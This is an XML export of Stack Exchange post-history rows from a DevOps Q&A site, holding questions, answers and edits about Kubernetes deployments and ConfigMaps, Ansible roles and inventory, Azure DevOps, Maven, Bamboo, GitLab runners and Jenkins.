  <row Id="38706" PostHistoryTypeId="2" PostId="12606" RevisionGUID="d8edd253-58d7-495f-97bb-5aed1c4ab7c0" CreationDate="2020-10-20T12:19:15.967" UserId="24391" Text="Use a combination of [Readiness Probes][1] and a proper deployment strategy.&#xD;&#xA;&#xD;&#xA; 1. Configure your Deployment spec like so:&#xD;&#xA;    ```&#xD;&#xA;    spec:&#xD;&#xA;      replicas: 4    # or as many as you need to have&#xD;&#xA;      strategy:&#xD;&#xA;        rollingUpdate:&#xD;&#xA;      maxUnavailable: 0&#xD;&#xA;      maxSurge: 1&#xD;&#xA;    ```&#xD;&#xA;    `maxUnavailable` means that there should always be a number of pods available equal to the `replicas` count. `maxSurge` = 1 means that kubernetes will create the new pods one at a time, and destroy the old ones one-at-a-time as well.&#xD;&#xA;2. Implement a `readinessProbe` which should return a successful response when the database migration has completed. You'd have to write the logic for that yourself, but if you do it right, kubernetes will create a pod with the new Deployment and wait for it to complete and only after that, evict 1 of the old ones.&#xD;&#xA;&#xD;&#xA;PS: It's worth noting that this approach will cause your node to temporarily contain more pods than your `replicas` config implies, namely `replicas + 1` for a short period of time while deploying. You need to make sure that your node can handle the little extra load untill the rollout is complete.&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/#define-readiness-probes" ContentLicense="CC BY-SA 4.0" />
  <row Id="38707" PostHistoryTypeId="2" PostId="12607" RevisionGUID="1e7f910d-4b02-4aaa-b0d8-c829e199e75c" CreationDate="2020-10-20T12:32:37.983" UserId="24391" Text="Suppose I have a `ConfigMap`:&#xD;&#xA;```&#xD;&#xA;apiVersion: v1&#xD;&#xA;kind: ConfigMap&#xD;&#xA;metadata:&#xD;&#xA;  name: london-tz-config&#xD;&#xA;data:&#xD;&#xA;  SERVER_TIMEZONE: &quot;Europe/London&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I also have about 50 distinct Deployments. Let's say that 20 of them use the `london-tz-config` ConfigMap to set their environments, like this&#xD;&#xA;```&#xD;&#xA;  template:&#xD;&#xA;    metadata:&#xD;&#xA;      labels:&#xD;&#xA;        app: echo-app&#xD;&#xA;    spec:&#xD;&#xA;      containers:&#xD;&#xA;        - name: echo-app-container&#xD;&#xA;          image: ealen/echo-server:latest&#xD;&#xA;          ports:&#xD;&#xA;            - containerPort: 8080&#xD;&#xA;          env:&#xD;&#xA;            - name: SERVER_TIMEZONE&#xD;&#xA;              valueFrom:&#xD;&#xA;                configMapKeyRef:&#xD;&#xA;                  name: london-tz-config    # Reference our ConfigMap here&#xD;&#xA;                  key: SERVER_TIMEZONE&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I don't know which Deployments use which ConfigMaps at any given time without manually inspecting the cluster.&#xD;&#xA;&#xD;&#xA;Is there a way to ask Kubernetes to show me all Deployments that contain references to a given ConfigMap by its `metadata.name` attribute?&#xD;&#xA;&#xD;&#xA;Either `kubectl` or the Kubernetes API would be okay." ContentLicense="CC BY-SA 4.0" />
  <row Id="38708" PostHistoryTypeId="1" PostId="12607" RevisionGUID="1e7f910d-4b02-4aaa-b0d8-c829e199e75c" CreationDate="2020-10-20T12:32:37.983" UserId="24391" Text="Get all Deployments referencing given ConfigMap by the ConfigMap's name" ContentLicense="CC BY-SA 4.0" />
  <row Id="38709" PostHistoryTypeId="3" PostId="12607" RevisionGUID="1e7f910d-4b02-4aaa-b0d8-c829e199e75c" CreationDate="2020-10-20T12:32:37.983" UserId="24391" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38710" PostHistoryTypeId="4" PostId="12604" RevisionGUID="f3b2fbac-52cb-4a9f-adbd-3f1b10b37622" CreationDate="2020-10-20T14:45:12.413" UserId="23898" Comment="title correction" Text="One Repository for Kubernetes configuration or one configuration per application repository" ContentLicense="CC BY-SA 4.0" />
  <row Id="38711" PostHistoryTypeId="24" PostId="12604" RevisionGUID="f3b2fbac-52cb-4a9f-adbd-3f1b10b37622" CreationDate="2020-10-20T14:45:12.413" Comment="Proposed by 23898 approved by 24372 edit id of 1287" ContentLicense="CC BY-SA 4.0" />
  <row Id="38712" PostHistoryTypeId="5" PostId="12606" RevisionGUID="11c13fcc-c488-49c3-a68b-9b86852340a9" CreationDate="2020-10-20T15:30:42.303" UserId="24391" Comment="added 4 characters in body" Text="Use a combination of [Readiness Probes][1] and a proper deployment strategy.&#xD;&#xA;&#xD;&#xA; 1. Configure your Deployment spec like so:&#xD;&#xA;    ```&#xD;&#xA;    spec:&#xD;&#xA;      replicas: 4    # or as many as you need to have&#xD;&#xA;      strategy:&#xD;&#xA;        rollingUpdate:&#xD;&#xA;      maxUnavailable: 0&#xD;&#xA;      maxSurge: 1&#xD;&#xA;    ```&#xD;&#xA;    `maxUnavailable` = 0 means that there should always be a number of pods available equal to the `replicas` count. `maxSurge` = 1 means that kubernetes will create the new pods one at a time, and destroy the old ones one-at-a-time as well.&#xD;&#xA;2. Implement a `readinessProbe` which should return a successful response when the database migration has completed. You'd have to write the logic for that yourself, but if you do it right, kubernetes will create a pod with the new Deployment and wait for it to complete and only after that, evict 1 of the old ones.&#xD;&#xA;&#xD;&#xA;PS: It's worth noting that this approach will cause your node to temporarily contain more pods than your `replicas` config implies, namely `replicas + 1` for a short period of time while deploying. You need to make sure that your node can handle the little extra load untill the rollout is complete.&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/#define-readiness-probes" ContentLicense="CC BY-SA 4.0" />
  <row Id="38713" PostHistoryTypeId="2" PostId="12608" RevisionGUID="5fc987b5-cc61-4036-b3bf-f28460d652e4" CreationDate="2020-10-20T17:27:54.140" UserId="24394" Text="Seeking help from those who've worked with dynamic inventory in Ansible.&#xD;&#xA;&#xD;&#xA;I have Ansible set up with the aws_ec2 plugin (not using the python script as it's been too problematic). Currently, I'm only using an aws_ec2.yaml file as my inventory and variable source of truth.&#xD;&#xA;&#xD;&#xA;When I run ansible-inventory --graph, Ansible returns my instances as public AWS DNS hostnames. I want either private DNS hostname or IP address so I SSH will against the hosts (we have firewall rule blocking ssh against the public AWS hostname).&#xD;&#xA;&#xD;&#xA;How can I instruct the aws_ec2 module to do this via the plugin? Thanks." ContentLicense="CC BY-SA 4.0" />
  <row Id="38714" PostHistoryTypeId="1" PostId="12608" RevisionGUID="5fc987b5-cc61-4036-b3bf-f28460d652e4" CreationDate="2020-10-20T17:27:54.140" UserId="24394" Text="Ansible dynamic inventory using AWS plugin -- how to obtain internal DNS records or private IP?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38715" PostHistoryTypeId="3" PostId="12608" RevisionGUID="5fc987b5-cc61-4036-b3bf-f28460d652e4" CreationDate="2020-10-20T17:27:54.140" UserId="24394" Text="&lt;amazon-web-services&gt;&lt;ansible&gt;&lt;amazon-ec2&gt;&lt;configuration-management&gt;&lt;ansible-inventory&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38716" PostHistoryTypeId="2" PostId="12609" RevisionGUID="b9582ecf-051c-4919-b431-387096ccb500" CreationDate="2020-10-20T20:51:14.147" UserId="13217" Text="I have a role that contains this task:&#xD;&#xA;```&#xD;&#xA;- name: Download something via Git&#xD;&#xA;  include_role:&#xD;&#xA;    name: git_cached&#xD;&#xA;  vars:&#xD;&#xA;    params:&#xD;&#xA;      repo: https://somerepo&#xD;&#xA;      dest: /some/path&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I would really like to then have the git_cached role look like this:&#xD;&#xA;```&#xD;&#xA;- git: {{ params }}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I don't want to have to duplicate all of the parameters like this:&#xD;&#xA;```&#xD;&#xA;- git:&#xD;&#xA;    repo: &quot;{{ repo }}&quot;&#xD;&#xA;    dest: &quot;{{ dest }}&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Because then, I have to do it for all the parameters, even the ones I don't typically use. I just want to basically &quot;override&quot; certain parameters that I pass into the include_role task.&#xD;&#xA;&#xD;&#xA;Is what I'm trying to do possible?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38717" PostHistoryTypeId="1" PostId="12609" RevisionGUID="b9582ecf-051c-4919-b431-387096ccb500" CreationDate="2020-10-20T20:51:14.147" UserId="13217" Text="Pass Ansible parameters to include_role" ContentLicense="CC BY-SA 4.0" />
  <row Id="38718" PostHistoryTypeId="3" PostId="12609" RevisionGUID="b9582ecf-051c-4919-b431-387096ccb500" CreationDate="2020-10-20T20:51:14.147" UserId="13217" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38719" PostHistoryTypeId="2" PostId="12610" RevisionGUID="51b4418c-13bb-4c5b-b489-8590e4672c6d" CreationDate="2020-10-20T21:04:53.150" UserId="13139" Text="You can use `kubectl get -o json` and parse the output using [`jq`][1] to iterate over the deployments, matching any desired `configMapKeyRef.name` and returning a `uniq` list of deployments.&#xD;&#xA;&#xD;&#xA;This should work:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;kubectl get deployments --all-namespaces -o json | jq -r '.items | map(select(.spec.template.spec.containers[]?.env[]?.valueFrom.configMapKeyRef.name == &quot;london-tz-config&quot; ) | .metadata.name) | .[]' | uniq&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/stedolan/jq" ContentLicense="CC BY-SA 4.0" />
  <row Id="38720" PostHistoryTypeId="2" PostId="12611" RevisionGUID="910c0f98-29bd-45b5-ba36-20801b68d861" CreationDate="2020-10-20T22:19:19.887" UserId="24396" Text="We are using Bamboo to build and deploy a number of Java web applications. Right now, the Build Plans generally produce a WAR file, which is deployed by the Deploy Plans. We are moving our hosting (and building) to docker, and I'm unclear on the best way to handle this in Bamboo. Specifically, I'm unsure of whether the Build Plan or Deploy Plan should be responsible for generating a docker image.&#xD;&#xA;&#xD;&#xA;* Should the Build plan provide a WAR artifact that the Deploy plan packages into a Docker image to be served?&#xD;&#xA;* Or should the Build plan publish a Docker image that can serve the WAR?&#xD;&#xA;&#xD;&#xA;If the latter, then the build plan will need to know the version so that it can tag the docker image appropriately, right? (We do this now, so it would work for us, but I wasn't sure if it was a good practice)&#xD;&#xA;&#xD;&#xA;Just wondering if there is a best practice pattern here, or if it just depends." ContentLicense="CC BY-SA 4.0" />
  <row Id="38721" PostHistoryTypeId="1" PostId="12611" RevisionGUID="910c0f98-29bd-45b5-ba36-20801b68d861" CreationDate="2020-10-20T22:19:19.887" UserId="24396" Text="What part of the Bamboo pipeline should generate a Docker image?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38722" PostHistoryTypeId="3" PostId="12611" RevisionGUID="910c0f98-29bd-45b5-ba36-20801b68d861" CreationDate="2020-10-20T22:19:19.887" UserId="24396" Text="&lt;docker&gt;&lt;deployment&gt;&lt;build-pipeline&gt;&lt;bamboo&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38723" PostHistoryTypeId="2" PostId="12612" RevisionGUID="76ff2152-6a09-40b7-a729-29a3972a2cf9" CreationDate="2020-10-20T23:16:35.823" UserId="7715" Text="Q: **&quot;*Override certain parameters that pass them into the include_role task.*&quot;**&#xD;&#xA;&#xD;&#xA;A: The parameter [*tasks_from*](https://docs.ansible.com/ansible/latest/collections/ansible/builtin/include_role_module.html#parameter-tasks_from) serves this use-case. For example, create the task file&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;shell&gt; cat roles/git_cached/tasks/git.yml&#xD;&#xA;- git:&#xD;&#xA;    repo: &quot;{{ params.repo }}&quot;&#xD;&#xA;    dest: &quot;{{ params.dest }}&quot;&#xD;&#xA;    recursive: &quot;{{ params.recursive|default(ommit) }}&quot;&#xD;&#xA;    depth: &quot;{{ params.depth|default('1') }}&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Then &quot;call&quot; this task&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;    - name: Download something via Git&#xD;&#xA;      include_role:&#xD;&#xA;        name: git_cached&#xD;&#xA;        tasks_from: git.yml&#xD;&#xA;      vars:&#xD;&#xA;        params:&#xD;&#xA;          repo: https://somerepo&#xD;&#xA;          dest: /some/path&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;You might want to complete the task with all [git](https://docs.ansible.com/ansible/latest/collections/ansible/builtin/git_module.html#ansible-builtin-git-deploy-software-or-files-from-git-checkouts) parameters:&#xD;&#xA;&#xD;&#xA;* The parameters *repo* and *dest* are required.&#xD;&#xA;&#xD;&#xA;* In some parameters, like *recursive*, the default values are defined. You can either omit the parameter, in which case the default value will be used, or define your own default.&#xD;&#xA;&#xD;&#xA;* Some parameters, like *depth*, don't have defaults.  Also here you can either omit the parameter, in which case the parameter won't be used or define your own default.&#xD;&#xA;&#xD;&#xA;* It's a good idea to &quot;namespace&quot; the variables.&#xD;&#xA;&#xD;&#xA;* It's a good idea to put the default variables into roles/git_cached/defaults/main.yml&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38724" PostHistoryTypeId="2" PostId="12613" RevisionGUID="c38cd078-dcc6-455f-896e-98fa42946a52" CreationDate="2020-10-21T10:29:25.387" UserId="24402" Text="I have an azure devops build pipeline that builds some docker images and a release pipeline that deploys the docker images using some artifacts I publish in the build. &#xD;&#xA;&#xD;&#xA;In the build I have some parameters that allow the user to change which docker images are built. Defined like this:&#xD;&#xA;&#xD;&#xA;    parameters:&#xD;&#xA;      - name: docker1&#xD;&#xA;        displayName: Build docker image 1?&#xD;&#xA;        type: boolean&#xD;&#xA;        default: true&#xD;&#xA;      - name: docker2&#xD;&#xA;        displayName: Build docker image 2?&#xD;&#xA;        type: boolean&#xD;&#xA;        default: true&#xD;&#xA;I now want to make jobs in my release stages dependent on these variables as well.&#xD;&#xA;So something like this:&#xD;&#xA;[![azure devops release interface][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/P4WQc.png&#xD;&#xA;Now the config in this picture doesn't work. &#xD;&#xA;&#xD;&#xA;My question is how does the syntax for this work if this is just a problem of syntax or how do I make these parameters available to the release if this is more of an issue of variable scope?&#xD;&#xA;&#xD;&#xA;What I've tried:&#xD;&#xA;- Just accessing the parameters with the syntax shown above `eq('${{ parameters.docker1 }}', true)`&#xD;&#xA;- Specifying the Build like one would with predefined variables of the build scope `eq('${{ Build.parameters.docker1 }}', true)`&#xD;&#xA;- looked at variable groups vaguely based on this post https://devops.stackexchange.com/questions/10070/azure-devops-build-and-release-pipeline-artifact-name-variable . Variable groups seem to be immutable from the build pipeline and also shared between multiple potentially simultaneous builds so this doesn't seem to work for this usecase.&#xD;&#xA;&#xD;&#xA;I can image that one way to solve this would probably be to write all my parameters to a file, upload this as a pipeline artifact and then write variables from this imported artifact in the release stage. I want to avoid this if possible since it feels like a very clunky workaround." ContentLicense="CC BY-SA 4.0" />
  <row Id="38725" PostHistoryTypeId="1" PostId="12613" RevisionGUID="c38cd078-dcc6-455f-896e-98fa42946a52" CreationDate="2020-10-21T10:29:25.387" UserId="24402" Text="Azure DevOps: How to pass a parameter from a build to a release?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38726" PostHistoryTypeId="3" PostId="12613" RevisionGUID="c38cd078-dcc6-455f-896e-98fa42946a52" CreationDate="2020-10-21T10:29:25.387" UserId="24402" Text="&lt;azure-devops&gt;&lt;azure-pipelines&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38727" PostHistoryTypeId="2" PostId="12614" RevisionGUID="7e6ee74b-1d92-454c-bf64-1b2d348cb4b9" CreationDate="2020-10-21T11:50:47.940" UserId="24403" Text="I have an aggregator POM file and two Maven projects:&#xD;&#xA;&#xD;&#xA;1. sample-project-runner-parent - This is the Parent Artifact&#xD;&#xA;&#xD;&#xA;   a) sample-project-runner-model - The first child module&#xD;&#xA;&#xD;&#xA;   b) sample-project-runner - The second child module&#xD;&#xA;&#xD;&#xA;I am using ```mvn clean package deploy``` and I see the three artifacts being uploaded to the artifactory (http://vdi-setup-repo.com/artifactory/codemanagement-maven) &#xD;&#xA;&#xD;&#xA;For deployment to server I have another maven project which uses the Maven dependency plugin to pull/copy the JAR from artifactory (jFrog in my case) and use the downloaded files for further deployment.&#xD;&#xA;&#xD;&#xA;**For some reason maven tries to download the JAR from https://vdi-setup-repo.com/artifactory/libs-snapshot instead of http://vdi-setup-repo.com/artifactory/codemanagement-maven**&#xD;&#xA;&#xD;&#xA;**Console Logs:**&#xD;&#xA;```&#xD;&#xA;Downloaded: http://vdi-setup-repo.com/artifactory/codemanagement-maven/com/sample/codes/sample-project/sample-project-runner/1.0.6-SNAPSHOT/sample-project-runner-1.0.6-20201020.172731-2.pom (5 KB at 69.5 KB/sec)&#xD;&#xA;Downloading: https://vdi-setup-repo.com/artifactory/libs-snapshot/com/sample/codes/sample-project/sample-project-runner-parent/1.0.6-SNAPSHOT/sample-project-runner-parent-1.0.6-20201020.172713-2.pom&#xD;&#xA;         &#xD;&#xA;[INFO] ------------------------------------------------------------------------&#xD;&#xA;[INFO] BUILD FAILURE&#xD;&#xA;[INFO] ------------------------------------------------------------------------&#xD;&#xA;[INFO] Total time: 4.659 s&#xD;&#xA;[INFO] Finished at: 2020-10-20T17:27:38+00:00&#xD;&#xA;[INFO] Final Memory: 28M/892M&#xD;&#xA;[INFO] ------------------------------------------------------------------------&#xD;&#xA;[ERROR] Failed to execute goal org.apache.maven.plugins:maven-dependency-plugin:3.1.2:copy (copy) on project deploy-sample-project-runner: Unable to find/resolve artifact. Failed to read artifact descriptor for com.sample.codes.sample-project:sample-project-runner:jar:1.0.6-SNAPSHOT: Could not find artifact com.sample.codes.sample-project:sample-project-runner-parent:pom:1.0.6-20201020.172713-2 in snapshots (https://vdi-setup-repo.com/artifactory/libs-snapshot) -&gt; [Help 1]&#xD;&#xA;[ERROR] &#xD;&#xA;[ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch.&#xD;&#xA;[ERROR] Re-run Maven using the -X switch to enable full debug logging.&#xD;&#xA;[ERROR] &#xD;&#xA;[ERROR] For more information about the errors and possible solutions, please read the following articles:&#xD;&#xA;[ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/MojoExecutionException&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I do have the repository specified in all the POM files as below:&#xD;&#xA;```&#xD;&#xA;&lt;repositories&gt;&#xD;&#xA;		&lt;repository&gt;&#xD;&#xA;			&lt;id&gt;codemanagement-maven&lt;/id&gt;&#xD;&#xA;			&lt;url&gt;http://vdi-setup-repo.com/artifactory/codemanagement-maven&lt;/url&gt;&#xD;&#xA;			&lt;releases&gt;&#xD;&#xA;                &lt;enabled&gt;true&lt;/enabled&gt;&#xD;&#xA;            &lt;/releases&gt;&#xD;&#xA;            &lt;snapshots&gt;&#xD;&#xA;                &lt;enabled&gt;true&lt;/enabled&gt;&#xD;&#xA;            &lt;/snapshots&gt;&#xD;&#xA;		&lt;/repository&gt;&#xD;&#xA;	&lt;/repositories&gt;&#xD;&#xA;	&lt;pluginRepositories&gt;&#xD;&#xA;        &lt;pluginRepository&gt;&#xD;&#xA;            &lt;id&gt;codemanagement-maven&lt;/id&gt;&#xD;&#xA;            &lt;name&gt;codemanagement-maven&lt;/name&gt;&#xD;&#xA;            &lt;url&gt;http://vdi-setup-repo.com/artifactory/codemanagement-maven&lt;/url&gt;&#xD;&#xA;            &lt;releases&gt;&#xD;&#xA;                &lt;enabled&gt;true&lt;/enabled&gt;&#xD;&#xA;            &lt;/releases&gt;&#xD;&#xA;            &lt;snapshots&gt;&#xD;&#xA;                &lt;enabled&gt;true&lt;/enabled&gt;&#xD;&#xA;            &lt;/snapshots&gt;&#xD;&#xA;        &lt;/pluginRepository&gt;&#xD;&#xA;    &lt;/pluginRepositories&gt;&#xD;&#xA;```&#xD;&#xA;The copy plugin from Deployer POM File:&#xD;&#xA;```&#xD;&#xA;&lt;plugin&gt;&#xD;&#xA;		        &lt;groupId&gt;org.apache.maven.plugins&lt;/groupId&gt;&#xD;&#xA;		        &lt;artifactId&gt;maven-dependency-plugin&lt;/artifactId&gt;&#xD;&#xA;		        &lt;version&gt;3.1.2&lt;/version&gt;&#xD;&#xA;		        &lt;executions&gt;&#xD;&#xA;		          &lt;execution&gt;&#xD;&#xA;		            &lt;id&gt;copy&lt;/id&gt;&#xD;&#xA;		            &lt;phase&gt;package&lt;/phase&gt;&#xD;&#xA;		            &lt;goals&gt;&#xD;&#xA;		              &lt;goal&gt;copy&lt;/goal&gt;&#xD;&#xA;		            &lt;/goals&gt;&#xD;&#xA;		            &lt;configuration&gt;&#xD;&#xA;		              &lt;artifactItems&gt;&#xD;&#xA;		                &lt;artifactItem&gt;&#xD;&#xA;		                  &lt;groupId&gt;com.sample.codes.sample-project&lt;/groupId&gt;&#xD;&#xA;		                  &lt;artifactId&gt;sample-project-runner&lt;/artifactId&gt;		                  &#xD;&#xA;						  &lt;version&gt;${currentProjectVersion}&lt;/version&gt;&#xD;&#xA;		                  &lt;type&gt;jar&lt;/type&gt;		                  &#xD;&#xA;		                  &lt;overWrite&gt;true&lt;/overWrite&gt;&#xD;&#xA;		                  &lt;outputDirectory&gt;.&lt;/outputDirectory&gt;&#xD;&#xA;		                  &lt;destFileName&gt;${customFilename}&lt;/destFileName&gt;&#xD;&#xA;		                &lt;/artifactItem&gt;&#xD;&#xA;		              &lt;/artifactItems&gt;&#xD;&#xA;		              &lt;!-- other configurations here --&gt;&#xD;&#xA;		            &lt;/configuration&gt;&#xD;&#xA;		          &lt;/execution&gt;&#xD;&#xA;		        &lt;/executions&gt;&#xD;&#xA;		      &lt;/plugin&gt;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I am unable to figure out why maven tries to download the artifact from libs-snapshot even when the repository is specified. &#xD;&#xA;Earlier this issue was happening intermittently but off lately its failing for every execution with this error.&#xD;&#xA;&#xD;&#xA;Am I missing on any additional configuration?&#xD;&#xA;&#xD;&#xA;Any help is appreciated.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38728" PostHistoryTypeId="1" PostId="12614" RevisionGUID="7e6ee74b-1d92-454c-bf64-1b2d348cb4b9" CreationDate="2020-10-21T11:50:47.940" UserId="24403" Text="Maven looks up for artifact in libs-snapshot repo instead of the specified repo" ContentLicense="CC BY-SA 4.0" />
  <row Id="38729" PostHistoryTypeId="3" PostId="12614" RevisionGUID="7e6ee74b-1d92-454c-bf64-1b2d348cb4b9" CreationDate="2020-10-21T11:50:47.940" UserId="24403" Text="&lt;jenkins&gt;&lt;maven&gt;&lt;dependency-management&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38730" PostHistoryTypeId="50" PostId="10485" RevisionGUID="0a439c84-49c1-419c-acf0-d20bf007f1df" CreationDate="2020-10-21T12:07:05.693" UserId="-1" />
  <row Id="38732" PostHistoryTypeId="50" PostId="12449" RevisionGUID="82b78f9c-db2c-4b62-9057-cc9734064ca4" CreationDate="2020-10-21T15:01:40.147" UserId="-1" />
  <row Id="38733" PostHistoryTypeId="2" PostId="12615" RevisionGUID="cd03abf5-6474-4513-b9b9-1b26b3e1b3d5" CreationDate="2020-10-21T16:03:37.563" UserId="20194" Text="Is the GitLab CI/CD tools suit/reliable for production use?  &#xD;&#xA;&#xD;&#xA;As more details, I have more than two servers and they've gitlab-runner inside then connected as runners to my GitLab instance. In this case, I wanna make sure that is these runners are reliable and stable if using the server as some test and production server?&#xD;&#xA;&#xD;&#xA;Thanks in advance." ContentLicense="CC BY-SA 4.0" />
  <row Id="38734" PostHistoryTypeId="1" PostId="12615" RevisionGUID="cd03abf5-6474-4513-b9b9-1b26b3e1b3d5" CreationDate="2020-10-21T16:03:37.563" UserId="20194" Text="Is gitlab-runner suit for production use" ContentLicense="CC BY-SA 4.0" />
  <row Id="38735" PostHistoryTypeId="3" PostId="12615" RevisionGUID="cd03abf5-6474-4513-b9b9-1b26b3e1b3d5" CreationDate="2020-10-21T16:03:37.563" UserId="20194" Text="&lt;gitlab&gt;&lt;gitlab-ci-runner&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38737" PostHistoryTypeId="2" PostId="12616" RevisionGUID="162b816c-7b7c-48ea-b7e8-1765e9524a44" CreationDate="2020-10-21T21:44:16.133" UserId="24409" Text="Please excuse my non-fluent terminology..&#xD;&#xA;&#xD;&#xA;There is a Jenkins server, master and a few slaves, there is a pipeline job.. let's call it **playground** &#xD;&#xA;&#xD;&#xA;I run the job once, I want to save some data somewhere.&#xD;&#xA;Run the job again, I want to get the data from previous build.&#xD;&#xA;&#xD;&#xA;* Given that the Jenkins server is bounded to a VPN&#xD;&#xA;* Given that the Job may run on master or any of the slaves&#xD;&#xA;* Given that the Job deletes the workspace with every build&#xD;&#xA;&#xD;&#xA;I couldn't find a way to save and load the data..&#xD;&#xA;using artifacts didn't work due to the VPN&#xD;&#xA;&#xD;&#xA;One plugin that actually do this is the git plugin, that saves the commit id and reads it in the next build for the changelog&#xD;&#xA;&#xD;&#xA;I went through the git plugin code.. I am very confused and cannot figure out how or where it is done!&#xD;&#xA;&#xD;&#xA;Can someone point me in the right direction.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38738" PostHistoryTypeId="1" PostId="12616" RevisionGUID="162b816c-7b7c-48ea-b7e8-1765e9524a44" CreationDate="2020-10-21T21:44:16.133" UserId="24409" Text="Pass information between Jenkins Job builds" ContentLicense="CC BY-SA 4.0" />
  <row Id="38739" PostHistoryTypeId="3" PostId="12616" RevisionGUID="162b816c-7b7c-48ea-b7e8-1765e9524a44" CreationDate="2020-10-21T21:44:16.133" UserId="24409" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;git&gt;&lt;jenkins-plugins&gt;&lt;github&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38742" PostHistoryTypeId="5" PostId="12616" RevisionGUID="e697171b-e9c7-4b85-b12a-167866b5f009" CreationDate="2020-10-21T22:15:00.380" UserId="24409" Comment="deleted 44 characters in body" Text="Please excuse my non-fluent terminology..&#xD;&#xA;&#xD;&#xA;There is a Jenkins server, master and a few slaves, there is a pipeline job.. let's call it **playground** &#xD;&#xA;&#xD;&#xA;I run the job once, I want to save some data somewhere.&#xD;&#xA;Run the job again, I want to get the data from previous build.&#xD;&#xA;&#xD;&#xA;* Given that the Jenkins server is bounded to a VPN&#xD;&#xA;* Given that the Job may run on master or any of the slaves&#xD;&#xA;* Given that the Job deletes the workspace with every build&#xD;&#xA;&#xD;&#xA;I couldn't find a way to save and load the data..&#xD;&#xA;&#xD;&#xA;One plugin that actually do this is the git plugin, that saves the commit id and reads it in the next build for the changelog&#xD;&#xA;&#xD;&#xA;I went through the git plugin code.. I am very confused and cannot figure out how or where it is done!&#xD;&#xA;&#xD;&#xA;Can someone point me in the right direction.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38743" PostHistoryTypeId="5" PostId="12603" RevisionGUID="4b37f2ed-3e01-4d55-94f1-292e1af09e58" CreationDate="2020-10-21T23:53:25.910" UserId="7118" Comment="added 118 characters in body" Text="I'm not sure if *trunk-based development* is strictly the right term here, but let me outline the process. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Say I have some code like: &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;//utils.js&#xD;&#xA;function someFunction(foo, bar) {&#xD;&#xA;   //implementation &#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;//main.js&#xD;&#xA;main() {&#xD;&#xA;     someFunction(&quot;foo&quot;, &quot;bar&quot;); &#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;And I've picked up a task to: &#xD;&#xA;&#xD;&#xA;&gt; Replace someFunction with someOtherFunction that accepts a single a 'biz' parameter'. &#xD;&#xA;&#xD;&#xA;Now, I've given a very small piece of code here, but lets say that actually that new function involves creating some other functions etc, and also I'm going to be replacing it in multiple places. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Now one way I might do this, is to do a 'big shebang' PR and just do all of the work in a single PR: &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;//utils.js&#xD;&#xA;-function someFunction(foo, bar) {&#xD;&#xA;-   // implementation&#xD;&#xA;-}&#xD;&#xA;+function someOtherFunction(biz) {&#xD;&#xA;+   // implmentation &#xD;&#xA;+}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;//main.js&#xD;&#xA;main() {&#xD;&#xA;-     someFunction(&quot;foo&quot;, &quot;bar&quot;); &#xD;&#xA;+     someOtherFunction(&quot;biz&quot;); &#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The problem with this is that these commits can end up being very big (a recent one affected 200 files), which makes the PR process cumbersome. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Instead, I could structure my work so that I submit several small PRs: &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;1. Create the new function &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;+function someOtherFunction(biz) {&#xD;&#xA;+   // implmentation &#xD;&#xA;+}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;2. Convert the callers over the using the new function &#xD;&#xA;```&#xD;&#xA;main() {&#xD;&#xA;-     someFunction(&quot;foo&quot;, &quot;bar&quot;); &#xD;&#xA;+     someOtherFunction(&quot;biz&quot;); &#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;3. Remove the old function 